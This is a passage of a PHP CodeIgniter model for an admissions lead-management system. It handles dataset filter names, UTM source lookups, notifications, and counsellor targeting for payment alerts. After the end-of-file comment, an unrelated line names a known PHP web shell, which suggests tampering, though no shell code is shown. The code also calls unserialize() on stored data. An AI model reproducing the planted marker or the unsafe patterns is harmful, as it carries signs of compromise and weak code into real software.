            $r['dset']['city_names']=[['title'=>'ALL']];
            $r['dset']['prg_names']=[['title'=>'ALL']];
            $r['dset']['utm_source_names']=[['title'=>'ALL']];
            $r['dset']['step_names']='ALL';
            $r['dset']['payment_mode_names']='ALL';
            $r['dset']['ps_app_status_names']='ALL';

            if($r['data_set_id']){
                if($r['dset']['states']){
                    $r['dset']['state_names']=$this->db->select("title")->where_in("id", $r['dset']['states'])->order_by("title")->get("master_states")->result_array();
                }

                if($r['dset']['cities']){
                    $cids=[];
                    foreach($r['dset']['cities'] as $k=>$v){
                        $cids=array_merge($cids, $v);
                    }
                    $r['dset']['city_names']=$this->db->select("c.title")
                                            ->where_in("c.id", $cids)
                                            ->from("master_cities c")
                                            ->join("master_states s", "c.state_id=s.id")
                                            ->order_by("s.title")->order_by("c.title")
                                            ->get()
                                            ->result_array();
                }

                if($r['dset']['programs']){
                    $r['dset']['prg_names']=$this->db->select("title")->where_in("id", $r['dset']['programs'])->order_by("title")->get("master_programs")->result_array();
                }
                
                if($r['dset']['utm_sources']){
                    $r['dset']['utm_source_names']=$this->db->select("title")->where_in("id", $r['dset']['utm_sources'])->order_by("title")->get("master_utm_sources")->result_array();
                }

                $r['dset']['step_names']=$r['dset']['steps']?implode(", ", $r['dset']['steps']):'ALL';
                $r['dset']['payment_mode_names']=$r['dset']['payment_modes']?implode(", ", $r['dset']['payment_modes']):'ALL';
                $r['dset']['ps_app_status_names']=$r['dset']['ps_app_status']?implode(", ", $r['dset']['ps_app_status']):'ALL';
            }

            //$r['data_sets']=$this->user->user_data_sets($r);
            $r['lc']=$this->common->data_set_leads_count($r['data_set_id']);
        }

        return $rs;
    }

    function all_utm_groups(){
        return $this->db->select("DISTINCT grp", false)->order_by("grp")->get("master_utm_sources")->result_array();
    }
    function utm_group_ids($grp){
        $rs=$this->db->select("id", false)->get_where("master_utm_sources", ['grp'=>$grp])->result_array();
        $res=[0];
        foreach($rs as $r){
            $res[]=$r['id'];
        }
        return $res;
    }
    function all_utm_sources(){
        return $this->db->select("id, title, grp", false)->order_by("title")->get("master_utm_sources")->result_array();
    }

    /** */
    function getUnreadNotifications(){
        $user_id=USER_ID;
        $this->db->where("FIND_IN_SET('$user_id', N.to_user_ids)", NULL, FALSE);
        $rs=$this->db->select("N.id")
		->from("lead_notifications N")
        ->join("lead_notifications_read NR", "NR.noti_id=N.id", "LEFT")
        ->where("NR.id", NULL)
        ->get()->result_array();

        return $rs?$rs:[];
    }

    function setReadNotifications(){
        $rs=$this->common->getUnreadNotifications();
        $d=[];
        foreach($rs as $r){
            $d[]=[
                'noti_id'=>$r['id'],
                'read_by'=>USER_ID,
                'created'=>currentDT()
            ];
        }
        if($d){
            $this->db->insert_batch("lead_notifications_read", $d);
        }
    }

    function appDataSetUserIds($app_id){
        $user_ids=[1];
        $f="application_no, applicant_id, school_id, program_id, plan_id";
        $adtl=$this->db->select($f)->get_where("applications", ['id'=>$app_id])->row_array();
        $udtl=$this->db->select("state_id, city_id")->get_where("applicants", ['id'=>$adtl['applicant_id']])->row_array();

        $users=$this->db->select("id, data_set_id")->get_where("users", ['reporting_type'=>'Counsellor', 'status'=>1])->result_array();
        foreach($users as $u){
            $ddtl=$this->db->select("states, programs, schools, cities, plans")->get_where("leads_data_sets", ['id'=>$u['data_set_id']])->row_array();
            $flg=1;
            if($ddtl['states']){
                $states=explode(",", $ddtl['states']);
                if(!in_array($udtl['state_id'], $states)){
                    $flg=0;
                }
                if($ddtl['cities']){
                    $ddtl['cities']=unserialize($ddtl['cities']);
                    $f=0;
                    foreach($states as $sid){
                        $cities=$ddtl['cities'][$sid];
                        if($cities){
                            if($udtl['state_id']==$sid && in_array($udtl['city_id'], $cities)){
                                $f=1;
                            }
                        }else if($udtl['state_id']==$sid){
                            $f=1;
                        }
                    }
                    if(!$f){
                        $flg=0;
                    }
                }
            }

            if($ddtl['programs']){
                $programs=explode(",", $ddtl['programs']);
                if(!in_array($adtl['program_id'], $programs)){
                    $flg=0;
                }
                if($ddtl['plans']){
                    $ddtl['plans']=unserialize($ddtl['plans']);
                    $f=0;
                    foreach($programs as $pid){
                        $plans=$ddtl['plans'][$pid];
                        if($plans){
                            if($adtl['program_id']==$pid && in_array($adtl['plan_id'], $plans)){
                                $f=1;
                            }
                        }else if($adtl['program_id']==$pid){
                            $f=1;
                        }
                    }
                    if(!$f){
                        $flg=0;
                    }
                }
            }

            if($ddtl['schools']){
                if(!in_array($adtl['school_id'], explode(",", $ddtl['schools']))){
                    $flg=0;
                }
            }

            if($flg){
                $user_ids[]=$u['id'];
            }
        }

        return $user_ids;
    }

    function addLeadNotification($type, $app_id=0){
        switch($type){
            case 'Payment_Made':
                return $this->addPaymentMadeNoti($type, $app_id);
            break;
        }
    }

    function addPaymentMadeNoti($type, $app_id=0){
        if(!$app_id){
            return;
        }

        $to_user_ids=$this->appDataSetUserIds($app_id);
        $adtl=$this->db->select("application_no")->get_where("applications", ['id'=>$app_id])->row_array();
        $msg="Payment made by System ID: ".$adtl['application_no'];
        $d=['app_id'=>$app_id, 'type'=>$type, 'created_by'=>USER_ID, 'created'=>currentDT(), 'to_user_ids'=>implode(",", $to_user_ids), 'msg'=>$msg];
        $this->db->insert("lead_notifications", $d);
        return $this->db->insert_id();
    }

    /** */
    function leadProfilePicBlob($profile_pic=''){
        $this->load->library('Image');
        if(!$profile_pic){
            return NULL;
        }
        $path=UP_PATHF.'admissions/profiles/';
        $this->image->resize($path.$profile_pic, $path.'sm_'.$profile_pic, 150);

        $blob=@file_get_contents($path.'sm_'.$profile_pic);
        return $blob?($blob):NULL;
    }
}

//End of file

Kontol Shell Bypass